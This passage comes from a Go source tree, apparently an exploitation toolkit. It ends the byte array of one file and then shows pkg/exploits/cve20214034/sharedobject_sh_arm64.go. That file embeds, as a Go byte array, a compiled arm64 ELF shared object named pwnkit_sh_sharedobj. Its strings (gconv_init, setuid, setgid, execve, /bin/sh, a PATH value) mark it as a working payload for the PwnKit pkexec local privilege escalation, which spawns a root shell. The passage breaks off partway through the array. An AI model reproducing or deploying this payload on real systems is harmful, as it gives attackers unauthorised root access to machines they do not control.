  0, 0, 0, 0, 0, 0, 0, 0, 75, 0, 0, 0, 11, 0, 0, 0,
  2, 0, 0, 0, 0, 0, 0, 0, 40, 3, 0, 0, 0, 0, 0, 0,
  40, 3, 0, 0, 0, 0, 0, 0, 8, 1, 0, 0, 0, 0, 0, 0,
  5, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  24, 0, 0, 0, 0, 0, 0, 0, 83, 0, 0, 0, 3, 0, 0, 0,
  2, 0, 0, 0, 0, 0, 0, 0, 48, 4, 0, 0, 0, 0, 0, 0,
  48, 4, 0, 0, 0, 0, 0, 0, 150, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 91, 0, 0, 0, 255, 255, 255, 111,
  2, 0, 0, 0, 0, 0, 0, 0, 198, 4, 0, 0, 0, 0, 0, 0,
  198, 4, 0, 0, 0, 0, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0,
  2, 0, 0, 0, 0, 0, 0, 0, 104, 0, 0, 0, 254, 255, 255, 111,
  2, 0, 0, 0, 0, 0, 0, 0, 224, 4, 0, 0, 0, 0, 0, 0,
  224, 4, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0,
  5, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 119, 0, 0, 0, 4, 0, 0, 0,
  2, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0,
  0, 5, 0, 0, 0, 0, 0, 0, 168, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  24, 0, 0, 0, 0, 0, 0, 0, 129, 0, 0, 0, 4, 0, 0, 0,
  66, 0, 0, 0, 0, 0, 0, 0, 168, 5, 0, 0, 0, 0, 0, 0,
  168, 5, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 21, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  24, 0, 0, 0, 0, 0, 0, 0, 139, 0, 0, 0, 1, 0, 0, 0,
  6, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
  0, 16, 0, 0, 0, 0, 0, 0, 27, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 134, 0, 0, 0, 1, 0, 0, 0,
  6, 0, 0, 0, 0, 0, 0, 0, 32, 16, 0, 0, 0, 0, 0, 0,
  32, 16, 0, 0, 0, 0, 0, 0, 80, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
  16, 0, 0, 0, 0, 0, 0, 0, 145, 0, 0, 0, 1, 0, 0, 0,
  6, 0, 0, 0, 0, 0, 0, 0, 112, 16, 0, 0, 0, 0, 0, 0,
  112, 16, 0, 0, 0, 0, 0, 0, 70, 1, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 151, 0, 0, 0, 1, 0, 0, 0,
  6, 0, 0, 0, 0, 0, 0, 0, 184, 17, 0, 0, 0, 0, 0, 0,
  184, 17, 0, 0, 0, 0, 0, 0, 13, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 157, 0, 0, 0, 1, 0, 0, 0,
  2, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0,
  0, 32, 0, 0, 0, 0, 0, 0, 83, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 165, 0, 0, 0, 1, 0, 0, 0,
  2, 0, 0, 0, 0, 0, 0, 0, 84, 32, 0, 0, 0, 0, 0, 0,
  84, 32, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 179, 0, 0, 0, 1, 0, 0, 0,
  2, 0, 0, 0, 0, 0, 0, 0, 120, 32, 0, 0, 0, 0, 0, 0,
  120, 32, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 189, 0, 0, 0, 14, 0, 0, 0,
  3, 0, 0, 0, 0, 0, 0, 0, 16, 62, 0, 0, 0, 0, 0, 0,
  16, 46, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  8, 0, 0, 0, 0, 0, 0, 0, 201, 0, 0, 0, 15, 0, 0, 0,
  3, 0, 0, 0, 0, 0, 0, 0, 24, 62, 0, 0, 0, 0, 0, 0,
  24, 46, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  8, 0, 0, 0, 0, 0, 0, 0, 213, 0, 0, 0, 6, 0, 0, 0,
  3, 0, 0, 0, 0, 0, 0, 0, 32, 62, 0, 0, 0, 0, 0, 0,
  32, 46, 0, 0, 0, 0, 0, 0, 192, 1, 0, 0, 0, 0, 0, 0,
  5, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  16, 0, 0, 0, 0, 0, 0, 0, 222, 0, 0, 0, 1, 0, 0, 0,
  3, 0, 0, 0, 0, 0, 0, 0, 224, 63, 0, 0, 0, 0, 0, 0,
  224, 47, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  8, 0, 0, 0, 0, 0, 0, 0, 227, 0, 0, 0, 1, 0, 0, 0,
  3, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0,
  0, 48, 0, 0, 0, 0, 0, 0, 56, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  8, 0, 0, 0, 0, 0, 0, 0, 236, 0, 0, 0, 1, 0, 0, 0,
  3, 0, 0, 0, 0, 0, 0, 0, 56, 64, 0, 0, 0, 0, 0, 0,
  56, 48, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 242, 0, 0, 0, 8, 0, 0, 0,
  3, 0, 0, 0, 0, 0, 0, 0, 64, 64, 0, 0, 0, 0, 0, 0,
  64, 48, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 247, 0, 0, 0, 1, 0, 0, 0,
  48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  64, 48, 0, 0, 0, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  88, 48, 0, 0, 0, 0, 0, 0, 208, 2, 0, 0, 0, 0, 0, 0,
  26, 0, 0, 0, 20, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
  24, 0, 0, 0, 0, 0, 0, 0, 9, 0, 0, 0, 3, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  40, 51, 0, 0, 0, 0, 0, 0, 185, 1, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 3, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  225, 52, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0,
}


================================================
FILE: pkg/exploits/cve20214034/sharedobject_sh_arm64.go
================================================
//go:build arm64
package cve20214034

var pwnkit_sh_sharedobj = []byte{
  127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  3, 0, 183, 0, 1, 0, 0, 0, 240, 5, 0, 0, 0, 0, 0, 0,
  64, 0, 0, 0, 0, 0, 0, 0, 216, 25, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 64, 0, 56, 0, 7, 0, 64, 0, 27, 0, 26, 0,
  1, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  128, 8, 0, 0, 0, 0, 0, 0, 128, 8, 0, 0, 0, 0, 0, 0,
  0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0,
  240, 13, 0, 0, 0, 0, 0, 0, 240, 13, 1, 0, 0, 0, 0, 0,
  240, 13, 1, 0, 0, 0, 0, 0, 72, 2, 0, 0, 0, 0, 0, 0,
  80, 2, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0,
  2, 0, 0, 0, 6, 0, 0, 0, 0, 14, 0, 0, 0, 0, 0, 0,
  0, 14, 1, 0, 0, 0, 0, 0, 0, 14, 1, 0, 0, 0, 0, 0,
  192, 1, 0, 0, 0, 0, 0, 0, 192, 1, 0, 0, 0, 0, 0, 0,
  8, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 4, 0, 0, 0,
  200, 1, 0, 0, 0, 0, 0, 0, 200, 1, 0, 0, 0, 0, 0, 0,
  200, 1, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
  36, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
  80, 229, 116, 100, 4, 0, 0, 0, 156, 7, 0, 0, 0, 0, 0, 0,
  156, 7, 0, 0, 0, 0, 0, 0, 156, 7, 0, 0, 0, 0, 0, 0,
  60, 0, 0, 0, 0, 0, 0, 0, 60, 0, 0, 0, 0, 0, 0, 0,
  4, 0, 0, 0, 0, 0, 0, 0, 81, 229, 116, 100, 6, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
  82, 229, 116, 100, 4, 0, 0, 0, 240, 13, 0, 0, 0, 0, 0, 0,
  240, 13, 1, 0, 0, 0, 0, 0, 240, 13, 1, 0, 0, 0, 0, 0,
  16, 2, 0, 0, 0, 0, 0, 0, 16, 2, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 20, 0, 0, 0,
  3, 0, 0, 0, 71, 78, 85, 0, 23, 211, 159, 10, 87, 61, 50, 147,
  219, 123, 142, 252, 140, 221, 122, 210, 239, 232, 124, 152, 0, 0, 0, 0,
  2, 0, 0, 0, 11, 0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0,
  0, 0, 0, 16, 4, 0, 34, 0, 11, 0, 0, 0, 12, 0, 0, 0,
  99, 12, 127, 15, 53, 167, 82, 128, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 3, 0, 9, 0, 88, 5, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 21, 0,
  48, 16, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  102, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 123, 0, 0, 0, 18, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  16, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 70, 0, 0, 0, 34, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  1, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 109, 0, 0, 0, 18, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  116, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 44, 0, 0, 0, 32, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  85, 0, 0, 0, 18, 0, 11, 0, 212, 6, 0, 0, 0, 0, 0, 0,
  8, 0, 0, 0, 0, 0, 0, 0, 91, 0, 0, 0, 18, 0, 11, 0,
  220, 6, 0, 0, 0, 0, 0, 0, 84, 0, 0, 0, 0, 0, 0, 0,
  0, 95, 95, 103, 109, 111, 110, 95, 115, 116, 97, 114, 116, 95, 95, 0,
  95, 73, 84, 77, 95, 100, 101, 114, 101, 103, 105, 115, 116, 101, 114, 84,
  77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 95, 73, 84, 77,
  95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67, 108, 111, 110, 101,
  84, 97, 98, 108, 101, 0, 95, 95, 99, 120, 97, 95, 102, 105, 110, 97,
  108, 105, 122, 101, 0, 103, 99, 111, 110, 118, 0, 103, 99, 111, 110, 118,
  95, 105, 110, 105, 116, 0, 115, 101, 116, 117, 105, 100, 0, 115, 101, 116,
  103, 105, 100, 0, 101, 120, 101, 99, 118, 101, 0, 101, 120, 105, 116, 0,
  108, 105, 98, 99, 46, 115, 111, 46, 54, 0, 71, 76, 73, 66, 67, 95,
  50, 46, 49, 55, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0,
  1, 0, 2, 0, 1, 0, 2, 0, 2, 0, 1, 0, 1, 0, 1, 0,
  1, 0, 1, 0, 128, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
  151, 145, 150, 6, 0, 0, 2, 0, 138, 0, 0, 0, 0, 0, 0, 0,
  240, 13, 1, 0, 0, 0, 0, 0, 3, 4, 0, 0, 0, 0, 0, 0,
  208, 6, 0, 0, 0, 0, 0, 0, 248, 13, 1, 0, 0, 0, 0, 0,
  3, 4, 0, 0, 0, 0, 0, 0, 128, 6, 0, 0, 0, 0, 0, 0,
  48, 16, 1, 0, 0, 0, 0, 0, 3, 4, 0, 0, 0, 0, 0, 0,
  48, 16, 1, 0, 0, 0, 0, 0, 200, 15, 1, 0, 0, 0, 0, 0,
  1, 4, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  208, 15, 1, 0, 0, 0, 0, 0, 1, 4, 0, 0, 6, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 216, 15, 1, 0, 0, 0, 0, 0,
  1, 4, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  224, 15, 1, 0, 0, 0, 0, 0, 1, 4, 0, 0, 10, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 1, 0, 0, 0, 0, 0,
  2, 4, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  8, 16, 1, 0, 0, 0, 0, 0, 2, 4, 0, 0, 4, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 16, 16, 1, 0, 0, 0, 0, 0,
  2, 4, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  24, 16, 1, 0, 0, 0, 0, 0, 2, 4, 0, 0, 7, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 32, 16, 1, 0, 0, 0, 0, 0,
  2, 4, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  40, 16, 1, 0, 0, 0, 0, 0, 2, 4, 0, 0, 9, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 31, 32, 3, 213, 253, 123, 191, 169,
  253, 3, 0, 145, 35, 0, 0, 148, 253, 123, 193, 168, 192, 3, 95, 214,
  240, 123, 191, 169, 144, 0, 0, 144, 17, 254, 71, 249, 16, 226, 63, 145,
  32, 2, 31, 214, 31, 32, 3, 213, 31, 32, 3, 213, 31, 32, 3, 213,
  144, 0, 0, 176, 17, 2, 64, 249, 16, 2, 0, 145, 32, 2, 31, 214,
  144, 0, 0, 176, 17, 6, 64, 249, 16, 34, 0, 145, 32, 2, 31, 214,
  144, 0, 0, 176, 17, 10, 64, 249, 16, 66, 0, 145, 32, 2, 31, 214,
  144, 0, 0, 176, 17, 14, 64, 249, 16, 98, 0, 145, 32, 2, 31, 214,
  144, 0, 0, 176, 17, 18, 64, 249, 16, 130, 0, 145, 32, 2, 31, 214,
  144, 0, 0, 176, 17, 22, 64, 249, 16, 162, 0, 145, 32, 2, 31, 214,
  128, 0, 0, 144, 0, 236, 71, 249, 64, 0, 0, 180, 241, 255, 255, 23,
  192, 3, 95, 214, 31, 32, 3, 213, 31, 32, 3, 213, 31, 32, 3, 213,
  128, 0, 0, 176, 0, 224, 0, 145, 129, 0, 0, 176, 33, 224, 0, 145,
  63, 0, 0, 235, 192, 0, 0, 84, 129, 0, 0, 144, 33, 228, 71, 249,
  97, 0, 0, 180, 240, 3, 1, 170, 0, 2, 31, 214, 192, 3, 95, 214,
  128, 0, 0, 176, 0, 224, 0, 145, 129, 0, 0, 176, 33, 224, 0, 145,
  33, 0, 0, 203, 34, 252, 127, 211, 65, 12, 129, 139, 33, 252, 65, 147,
  193, 0, 0, 180, 130, 0, 0, 144, 66, 240, 71, 249, 98, 0, 0, 180,
  240, 3, 2, 170, 0, 2, 31, 214, 192, 3, 95, 214, 31, 32, 3, 213,
  253, 123, 190, 169, 253, 3, 0, 145, 243, 11, 0, 249, 147, 0, 0, 176,
  96, 226, 64, 57, 64, 1, 0, 53, 128, 0, 0, 144, 0, 232, 71, 249,
  128, 0, 0, 180, 128, 0, 0, 176, 0, 24, 64, 249, 193, 255, 255, 151,
  216, 255, 255, 151, 32, 0, 128, 82, 96, 226, 0, 57, 243, 11, 64, 249,
  253, 123, 194, 168, 192, 3, 95, 214, 31, 32, 3, 213, 31, 32, 3, 213,
  220, 255, 255, 23, 31, 32, 3, 213, 192, 3, 95, 214, 253, 123, 188, 169,
  253, 3, 0, 145, 224, 15, 0, 249, 0, 0, 0, 144, 0, 32, 29, 145,
  224, 27, 0, 249, 255, 31, 0, 249, 0, 0, 0, 144, 0, 64, 29, 145,
  224, 19, 0, 249, 255, 23, 0, 249, 0, 0, 128, 82, 161, 255, 255, 151,
  0, 0, 128, 82, 175, 255, 255, 151, 224, 27, 64, 249, 226, 131, 0, 145,
  225, 195, 0, 145, 175, 255, 255, 151, 0, 0, 128, 82, 157, 255, 255, 151,
  31, 32, 3, 213, 253, 123, 191, 169, 253, 3, 0, 145, 253, 123, 193, 168,
  192, 3, 95, 214, 0, 0, 0, 0, 47, 98, 105, 110, 47, 115, 104, 0,
  80, 65, 84, 72, 61, 47, 117, 115, 114, 47, 108, 111, 99, 97, 108, 47,
  115, 98, 105, 110, 58, 47, 117, 115, 114, 47, 108, 111, 99, 97, 108, 47,
  98, 105, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 58, 47, 117,
  115, 114, 47, 98, 105, 110, 58, 47, 115, 98, 105, 110, 58, 47, 98, 105,
  110, 58, 47, 111, 112, 116, 47, 98, 105, 110, 0, 0, 1, 27, 3, 59,
  56, 0, 0, 0, 6, 0, 0, 0, 116, 254, 255, 255, 80, 0, 0, 0,
  164, 254, 255, 255, 100, 0, 0, 0, 228, 254, 255, 255, 120, 0, 0, 0,
  52, 255, 255, 255, 156, 0, 0, 0, 56, 255, 255, 255, 180, 0, 0, 0,
  64, 255, 255, 255, 200, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
  1, 122, 82, 0, 4, 120, 30, 1, 27, 12, 31, 0, 16, 0, 0, 0,
  24, 0, 0, 0, 28, 254, 255, 255, 48, 0, 0, 0, 0, 0, 0, 0,
  16, 0, 0, 0, 44, 0, 0, 0, 56, 254, 255, 255, 60, 0, 0, 0,
  0, 0, 0, 0, 32, 0, 0, 0, 64, 0, 0, 0, 100, 254, 255, 255,
  72, 0, 0, 0, 0, 65, 14, 32, 157, 4, 158, 3, 66, 147, 2, 78,
  222, 221, 211, 14, 0, 0, 0, 0, 20, 0, 0, 0, 100, 0, 0, 0,
  144, 254, 255, 255, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  16, 0, 0, 0, 124, 0, 0, 0, 124, 254, 255, 255, 8, 0, 0, 0,
  0, 0, 0, 0, 20, 0, 0, 0, 144, 0, 0, 0, 112, 254, 255, 255,
  84, 0, 0, 0, 0, 65, 14, 64, 157, 8, 158, 7, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
